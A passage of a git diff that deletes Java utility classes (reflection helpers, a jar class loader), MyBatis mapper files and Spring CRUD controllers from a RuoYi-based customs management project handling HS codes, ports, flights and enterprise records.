- - /** - * 判断指定的对象属性是否存在getter方法 - * @param f - * @return - */ - public static boolean existGetter(Class type,Field f){ - return getGetter(type, f) != null; - } - - /** - * 判断指定的对象属性是否存在setter方法 - * @param f - * @return - */ - public static boolean existSetter(Class type,Field f){ - return getSetter(type, f) != null; - } - - public static void setValueBySetter(Object obj,Field f,Object paramValue){ - setValueBySetter(obj, f.getName(), paramValue,f.getType()); - } - - public static void setValueBySetter(Object obj,String fieldName,Object paramValue,Class paramType){ - Method m = getSetter(obj.getClass(),fieldName,paramType); - Assert.notNull(m,obj.getClass().getSimpleName()+"属性["+fieldName+"]不存在setter方法"); - try { - m.invoke(obj,paramValue); - } catch (Throwable e) { - - _log.error(LogUtil.exceptionMsg("["+fieldName+"]set方法"+m.getName()+"设置出现异常", e),e); - } - } - - public static Object getValueByGetter(Object obj,Field f){ - Method m = getGetter(obj.getClass(), f); - Assert.notNull(m,"属性["+f.getName()+"]不存在getter方法"); - try { - return m.invoke(obj); - } catch (Throwable e) { - - _log.error(LogUtil.exceptionMsg(f+"set方法"+m.getName()+"设置出现异常", e)); - return null; - } - } - - public static String getGetterMethodName(String fieldName){ - Assert.hasText(fieldName,"属性名必须有内容!"); - return PREFIX_GETTER + upperFirstChar(fieldName); - } - - public static String getSetterMethodName(String fieldName){ - Assert.hasText(fieldName,"属性名必须有内容!"); - return PREFIX_SETTER + upperFirstChar(fieldName); - } - - public static String upperFirstChar(String fieldName){ - return fieldName.substring(0,1).toUpperCase() - + fieldName.substring(1,fieldName.length()); - } - - public static String lowerFirstChar(String fieldName){ - return fieldName.substring(0,1).toLowerCase() - + fieldName.substring(1,fieldName.length()); - } - - - public static boolean isGetter(Method method){ - return method.getModifiers() == Modifier.PUBLIC - && method.getName().length() > PREFIX_GETTER.length() - && method.getName().startsWith(PREFIX_GETTER) - && method.getParameterTypes().length == 0; - } - - public static boolean isSetter(Method method){ - return (method.getModifiers() & Modifier.PUBLIC) == 1 - && method.getName().length() > PREFIX_SETTER.length() - && method.getName().startsWith(PREFIX_SETTER) - && method.getParameterTypes().length == 1; - } - - /** - * 获取setter方法,如果找不到或达不到要求返回NULL - * @param type - * @param f - * @return - */ - public static Method getSetter(Class type,String fieldName,Class fieldType){ - try { - Method m = type.getMethod(getSetterMethodName(fieldName), fieldType); - if(isSetter(m)){ - return m; - }else{ - return null; - } - } catch (Exception e) { - return null; - } - } - - - /** - * 获取setter方法,如果找不到或达不到要求返回NULL - * @param type - * @param f - * @return - */ - public static Method getSetter(Class type,Field f){ - return getSetter(type, f.getName(), f.getType()); - } - - - - /** - * 获取getter方法,如果找不到或达不到要求返回NULL - * @param type - * @param f - * @return - */ - public static Method getGetter(Class type,Field f){ - try { - Method m = type.getMethod(getGetterMethodName(f.getName())); - if(isGetter(m)){ - return m; - }else{ - return null; - } - } catch (Exception e) { - return null; - } - } - - - /** - * 根据setter方法获取属性名 - * @param method - * @return - */ - public static String getFieldNameBySetter(Method method){ - //get开头且没有参数 - Assert.notNull(method,"方法不允许为NULL"); - Assert.logic(isSetter(method), - method.getName()+"["+method.getParameterTypes().length+"]不是JAVA标准set方法"); - String fieldName = method.getName().substring(PREFIX_SETTER.length()); - fieldName = lowerFirstChar(fieldName); - return fieldName; - } - - /** - * 根据getter方法获取属性名 - * @param method - * @return - */ - public static String getFieldNameByGetter(Method method){ - //get开头且没有参数 - Assert.notNull(method,"方法不允许为NULL"); - Assert.logic(isGetter(method), - method.getName()+"["+method.getParameterTypes().length+"]不是JAVA标准get方法"); - String fieldName = method.getName().substring(PREFIX_GETTER.length()); - fieldName = lowerFirstChar(fieldName); - return fieldName; - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/reflect/JarUtils.java b/luqj-common/src/main/java/com/luqj/util/reflect/JarUtils.java deleted file mode 100644 index 33bb0e7..0000000 --- a/luqj-common/src/main/java/com/luqj/util/reflect/JarUtils.java +++ /dev/null @@ -1,139 +0,0 @@ -package com.luqj.util.reflect; - - - -import com.luqj.util.assertion.Assert; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.lang.reflect.Method; -import java.util.ArrayList; -import java.util.Collection; -import java.util.Enumeration; -import java.util.List; -import java.util.jar.JarEntry; -import java.util.jar.JarFile; - -public class JarUtils { - - - public static interface JarOperator { - void operate(JarFile jar, String className, JarEntry entry); - } - - - public static class ClassLoaderOP implements JarOperator { - - private ClassLoader loader; - private Method md1; - - public ClassLoaderOP(ClassLoader loader) { - super(); - try { - this.loader = loader; - md1 = ClassLoader.class.getDeclaredMethod( - "defineClass", - String.class, byte[].class, int.class, int.class); - md1.setAccessible(true); - } catch (Exception e) { - Assert.fail("jar文件加载初始化异常,异常消息[" + e.getMessage() + "]"); - } - } - - @Override - public void operate(JarFile jar, String className, JarEntry entry) { - try { - InputStream is = jar.getInputStream(entry); - ByteArrayOutputStream dataOut = new ByteArrayOutputStream(); - byte[] packData = new byte[2048]; - int readLen = 0; - while (-1 != (readLen = is.read(packData))) { - dataOut.write(packData, 0, readLen); - } - if (dataOut.size() <= 0) { - throw new ClassNotFoundException(className); - } - byte[] classFile = dataOut.toByteArray(); - md1.invoke(loader, className, classFile, 0, classFile.length); - } catch (Exception e) { - - Assert.fail("类:" + className + "加载异常,异常消息[" + e.getMessage() + "]"); - } - } - } - - public static void operateJar(String file, JarOperator op) { - try { - JarFile jar = new JarFile(file); - Enumeration d = jar.entries(); - while (d.hasMoreElements()) { - JarEntry entry = (JarEntry) d.nextElement(); - if (entry.getName().endsWith(".class")) { - String name = entry.getName(); - name = name.substring(0, name.length() - 6); - name = name.replaceAll("/", "."); - op.operate(jar, name, entry); - } - } - } catch (IOException e) { - - Assert.fail("解析JAR:" + file + "出现异常,异常消息[" + e.getMessage() + "]"); - } - } - - public static void loadClass(String file, ClassLoader loader) { - ClassLoaderOP op = new ClassLoaderOP(loader); - operateJar(file, op); - } - - - /** - * 获取所有的 JAVA类信息 - * - * @param file - * @return 返回全局类名 - */ - public static Collection getAllClassInfo(String file) { - List infos = new ArrayList(); - try { - JarFile jar = new JarFile(file); - Enumeration d = jar.entries(); - while (d.hasMoreElements()) { - JarEntry entry = (JarEntry) d.nextElement(); - if (entry.getName().endsWith(".class")) { - String name = entry.getName(); - name = name.substring(0, name.length() - 6); - name = name.replaceAll("/", "."); - infos.add(name); - } - } - return infos; - } catch (IOException e) { - - Assert.fail("解析JAR:" + file + "出现异常,异常消息[" + e.getMessage() + "]"); - } - return infos; - } - - public static Collection getResources(String filePath, String dirPath) { - List infos = new ArrayList(); - try { - JarFile jar = new JarFile(filePath); - Enumeration d = jar.entries(); - while (d.hasMoreElements()) { - JarEntry entry = (JarEntry) d.nextElement(); - if (entry.getName().startsWith(dirPath) && !entry.isDirectory()) { - infos.add(entry.getName()); - } - } - return infos; - } catch (IOException e) { - - Assert.fail("解析JAR:" + filePath + "出现异常,异常消息[" + e.getMessage() + "]"); - } - return infos; - } - - -} diff --git a/luqj-common/src/main/java/com/luqj/util/reflect/MethodParam.java b/luqj-common/src/main/java/com/luqj/util/reflect/MethodParam.java deleted file mode 100644 index 7efeb19..0000000 --- a/luqj-common/src/main/java/com/luqj/util/reflect/MethodParam.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.luqj.util.reflect; - -public class MethodParam { - - private int index; - - private String name; - - private Class type; - - /** - * 参数的泛型类型集合 - */ - private Class[] t; - - private Object value; - - - public MethodParam(int index, String name, Class type) { - super(); - this.index = index; - this.name = name; - this.type = type; - } - - public Class[] getT() { - return t; - } - - - public void setT(Class[] ts) { - t = ts; - } - - - public Object getValue() { - return value; - } - - public void setValue(Object value) { - this.value = value; - } - - @Override - public String toString() { - return "MethodParam [index=" + index + ", name=" + name + ", type=" + type + "]"; - } - - - public int getIndex() { - return index; - } - - public void setIndex(int index) { - this.index = index; - } - - public String getName() { - return name; - } - - public void setName(String name) { - this.name = name; - } - - public Class getType() { - return type; - } - - public void setType(Class type) { - this.type = type; - } -} diff --git a/luqj-common/src/main/resources/mapper/common/ComCategoryMapper.xml b/luqj-common/src/main/resources/mapper/common/ComCategoryMapper.xml deleted file mode 100644 index bb5b0f3..0000000 --- a/luqj-common/src/main/resources/mapper/common/ComCategoryMapper.xml +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - select id, name, parent_id, parent_ids, project_type, sort_num, icon_url, pic_url, has_leaf, home_show, level, flag, description, create_time, update_time, status from com_category - - - - - - - - insert into com_category - - name, - parent_id, - parent_ids, - project_type, - sort_num, - icon_url, - pic_url, - has_leaf, - home_show, - level, - flag, - description, - create_time, - update_time, - status, - - - #{name}, - #{parentId}, - #{parentIds}, - #{projectType}, - #{sortNum}, - #{iconUrl}, - #{picUrl}, - #{hasLeaf}, - #{homeShow}, - #{level}, - #{flag}, - #{description}, - #{createTime}, - #{updateTime}, - #{status}, - - - - - update com_category - - name = #{name}, - parent_id = #{parentId}, - parent_ids = #{parentIds}, - project_type = #{projectType}, - sort_num = #{sortNum}, - icon_url = #{iconUrl}, - pic_url = #{picUrl}, - has_leaf = #{hasLeaf}, - home_show = #{homeShow}, - level = #{level}, - flag = #{flag}, - description = #{description}, - create_time = #{createTime}, - update_time = #{updateTime}, - status = #{status}, - - where id = #{id} - - - - delete from com_category where id = #{id} - - - - delete from com_category where id in - - #{id} - - - \ No newline at end of file diff --git a/luqj-common/src/main/resources/mapper/common/QiniuConfigMapper.xml b/luqj-common/src/main/resources/mapper/common/QiniuConfigMapper.xml deleted file mode 100644 index 4b7a2d2..0000000 --- a/luqj-common/src/main/resources/mapper/common/QiniuConfigMapper.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - - \ No newline at end of file diff --git a/luqj-custom/pom.xml b/luqj-custom/pom.xml deleted file mode 100644 index f7c289b..0000000 --- a/luqj-custom/pom.xml +++ /dev/null @@ -1,35 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-custom - - - - - com.ruoyi - ruoyi-common - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - com.ruoyi - ruoyi-system - - - com.ruoyi - luqj-common - 3.4.0 - - - \ No newline at end of file diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCallbackController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCallbackController.java deleted file mode 100644 index f11f643..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCallbackController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomCallback; -import com.ruoyi.custom.service.ICustomCallbackService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 海关回查Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/callback") -public class CustomCallbackController extends BaseController -{ - @Autowired - private ICustomCallbackService customCallbackService; - - /** - * 查询海关回查列表 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:list')") - @GetMapping("/list") - public TableDataInfo list(CustomCallback customCallback) - { - startPage(); - List list = customCallbackService.selectCustomCallbackList(customCallback); - return getDataTable(list); - } - - /** - * 导出海关回查列表 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:export')") - @Log(title = "海关回查", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomCallback customCallback) - { - List list = customCallbackService.selectCustomCallbackList(customCallback); - ExcelUtil util = new ExcelUtil(CustomCallback.class); - return util.exportExcel(list, "callback"); - } - - /** - * 获取海关回查详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customCallbackService.selectCustomCallbackById(id)); - } - - /** - * 新增海关回查 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:add')") - @Log(title = "海关回查", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomCallback customCallback) - { - return toAjax(customCallbackService.insertCustomCallback(customCallback)); - } - - /** - * 修改海关回查 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:edit')") - @Log(title = "海关回查", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomCallback customCallback) - { - return toAjax(customCallbackService.updateCustomCallback(customCallback)); - } - - /** - * 删除海关回查 - */ - @PreAuthorize("@ss.hasPermi('custom:callback:remove')") - @Log(title = "海关回查", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customCallbackService.deleteCustomCallbackByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCountryCodeController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCountryCodeController.java deleted file mode 100644 index b397604..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomCountryCodeController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomCountryCode; -import com.ruoyi.custom.service.ICustomCountryCodeService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 国别代码Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/country") -public class CustomCountryCodeController extends BaseController -{ - @Autowired - private ICustomCountryCodeService customCountryCodeService; - - /** - * 查询国别代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:country:list')") - @GetMapping("/list") - public TableDataInfo list(CustomCountryCode customCountryCode) - { - startPage(); - List list = customCountryCodeService.selectCustomCountryCodeList(customCountryCode); - return getDataTable(list); - } - - /** - * 导出国别代码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:country:export')") - @Log(title = "国别代码", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomCountryCode customCountryCode) - { - List list = customCountryCodeService.selectCustomCountryCodeList(customCountryCode); - ExcelUtil util = new ExcelUtil(CustomCountryCode.class); - return util.exportExcel(list, "country"); - } - - /** - * 获取国别代码详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:country:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customCountryCodeService.selectCustomCountryCodeById(id)); - } - - /** - * 新增国别代码 - */ - @PreAuthorize("@ss.hasPermi('custom:country:add')") - @Log(title = "国别代码", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomCountryCode customCountryCode) - { - return toAjax(customCountryCodeService.insertCustomCountryCode(customCountryCode)); - } - - /** - * 修改国别代码 - */ - @PreAuthorize("@ss.hasPermi('custom:country:edit')") - @Log(title = "国别代码", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomCountryCode customCountryCode) - { - return toAjax(customCountryCodeService.updateCustomCountryCode(customCountryCode)); - } - - /** - * 删除国别代码 - */ - @PreAuthorize("@ss.hasPermi('custom:country:remove')") - @Log(title = "国别代码", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customCountryCodeService.deleteCustomCountryCodeByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomDeclarePortController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomDeclarePortController.java deleted file mode 100644 index 9d7f98d..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomDeclarePortController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomDeclarePort; -import com.ruoyi.custom.service.ICustomDeclarePortService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 申报口岸Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/declarePort") -public class CustomDeclarePortController extends BaseController -{ - @Autowired - private ICustomDeclarePortService customDeclarePortService; - - /** - * 查询申报口岸列表 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:list')") - @GetMapping("/list") - public TableDataInfo list(CustomDeclarePort customDeclarePort) - { - startPage(); - List list = customDeclarePortService.selectCustomDeclarePortList(customDeclarePort); - return getDataTable(list); - } - - /** - * 导出申报口岸列表 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:export')") - @Log(title = "申报口岸", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomDeclarePort customDeclarePort) - { - List list = customDeclarePortService.selectCustomDeclarePortList(customDeclarePort); - ExcelUtil util = new ExcelUtil(CustomDeclarePort.class); - return util.exportExcel(list, "declarePort"); - } - - /** - * 获取申报口岸详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customDeclarePortService.selectCustomDeclarePortById(id)); - } - - /** - * 新增申报口岸 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:add')") - @Log(title = "申报口岸", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomDeclarePort customDeclarePort) - { - return toAjax(customDeclarePortService.insertCustomDeclarePort(customDeclarePort)); - } - - /** - * 修改申报口岸 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:edit')") - @Log(title = "申报口岸", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomDeclarePort customDeclarePort) - { - return toAjax(customDeclarePortService.updateCustomDeclarePort(customDeclarePort)); - } - - /** - * 删除申报口岸 - */ - @PreAuthorize("@ss.hasPermi('custom:declarePort:remove')") - @Log(title = "申报口岸", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customDeclarePortService.deleteCustomDeclarePortByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomEnterpriseRecordController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomEnterpriseRecordController.java deleted file mode 100644 index 55fd815..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomEnterpriseRecordController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomEnterpriseRecord; -import com.ruoyi.custom.service.ICustomEnterpriseRecordService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 企业备案Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/enterpriseRecord") -public class CustomEnterpriseRecordController extends BaseController -{ - @Autowired - private ICustomEnterpriseRecordService customEnterpriseRecordService; - - /** - * 查询企业备案列表 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:list')") - @GetMapping("/list") - public TableDataInfo list(CustomEnterpriseRecord customEnterpriseRecord) - { - startPage(); - List list = customEnterpriseRecordService.selectCustomEnterpriseRecordList(customEnterpriseRecord); - return getDataTable(list); - } - - /** - * 导出企业备案列表 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:export')") - @Log(title = "企业备案", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomEnterpriseRecord customEnterpriseRecord) - { - List list = customEnterpriseRecordService.selectCustomEnterpriseRecordList(customEnterpriseRecord); - ExcelUtil util = new ExcelUtil(CustomEnterpriseRecord.class); - return util.exportExcel(list, "enterpriseRecord"); - } - - /** - * 获取企业备案详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customEnterpriseRecordService.selectCustomEnterpriseRecordById(id)); - } - - /** - * 新增企业备案 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:add')") - @Log(title = "企业备案", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomEnterpriseRecord customEnterpriseRecord) - { - return toAjax(customEnterpriseRecordService.insertCustomEnterpriseRecord(customEnterpriseRecord)); - } - - /** - * 修改企业备案 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:edit')") - @Log(title = "企业备案", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomEnterpriseRecord customEnterpriseRecord) - { - return toAjax(customEnterpriseRecordService.updateCustomEnterpriseRecord(customEnterpriseRecord)); - } - - /** - * 删除企业备案 - */ - @PreAuthorize("@ss.hasPermi('custom:enterpriseRecord:remove')") - @Log(title = "企业备案", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customEnterpriseRecordService.deleteCustomEnterpriseRecordByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomFlightInfoController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomFlightInfoController.java deleted file mode 100644 index 17aef64..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomFlightInfoController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomFlightInfo; -import com.ruoyi.custom.service.ICustomFlightInfoService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 航班信息Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/flightInfo") -public class CustomFlightInfoController extends BaseController -{ - @Autowired - private ICustomFlightInfoService customFlightInfoService; - - /** - * 查询航班信息列表 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:list')") - @GetMapping("/list") - public TableDataInfo list(CustomFlightInfo customFlightInfo) - { - startPage(); - List list = customFlightInfoService.selectCustomFlightInfoList(customFlightInfo); - return getDataTable(list); - } - - /** - * 导出航班信息列表 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:export')") - @Log(title = "航班信息", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomFlightInfo customFlightInfo) - { - List list = customFlightInfoService.selectCustomFlightInfoList(customFlightInfo); - ExcelUtil util = new ExcelUtil(CustomFlightInfo.class); - return util.exportExcel(list, "flightInfo"); - } - - /** - * 获取航班信息详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customFlightInfoService.selectCustomFlightInfoById(id)); - } - - /** - * 新增航班信息 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:add')") - @Log(title = "航班信息", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomFlightInfo customFlightInfo) - { - return toAjax(customFlightInfoService.insertCustomFlightInfo(customFlightInfo)); - } - - /** - * 修改航班信息 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:edit')") - @Log(title = "航班信息", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody CustomFlightInfo customFlightInfo) - { - return toAjax(customFlightInfoService.updateCustomFlightInfo(customFlightInfo)); - } - - /** - * 删除航班信息 - */ - @PreAuthorize("@ss.hasPermi('custom:flightInfo:remove')") - @Log(title = "航班信息", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(customFlightInfoService.deleteCustomFlightInfoByIds(ids)); - } -} diff --git a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomHsCodeController.java b/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomHsCodeController.java deleted file mode 100644 index ee2d971..0000000 --- a/luqj-custom/src/main/java/com/ruoyi/custom/controller/CustomHsCodeController.java +++ /dev/null @@ -1,103 +0,0 @@ -package com.ruoyi.custom.controller; - -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.custom.domain.CustomHsCode; -import com.ruoyi.custom.service.ICustomHsCodeService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * HS编码Controller - * - * @author luqj - * @date 2021-10-23 - */ -@RestController -@RequestMapping("/custom/hsCode") -public class CustomHsCodeController extends BaseController -{ - @Autowired - private ICustomHsCodeService customHsCodeService; - - /** - * 查询HS编码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:list')") - @GetMapping("/list") - public TableDataInfo list(CustomHsCode customHsCode) - { - startPage(); - List list = customHsCodeService.selectCustomHsCodeList(customHsCode); - return getDataTable(list); - } - - /** - * 导出HS编码列表 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:export')") - @Log(title = "HS编码", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(CustomHsCode customHsCode) - { - List list = customHsCodeService.selectCustomHsCodeList(customHsCode); - ExcelUtil util = new ExcelUtil(CustomHsCode.class); - return util.exportExcel(list, "hsCode"); - } - - /** - * 获取HS编码详细信息 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(customHsCodeService.selectCustomHsCodeById(id)); - } - - /** - * 新增HS编码 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:add')") - @Log(title = "HS编码", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody CustomHsCode customHsCode) - { - return toAjax(customHsCodeService.insertCustomHsCode(customHsCode)); - } - - /** - * 修改HS编码 - */ - @PreAuthorize("@ss.hasPermi('custom:hsCode:edit')") - @Log(title = "HS编码", businessType = BusinessType.UPDATE) - 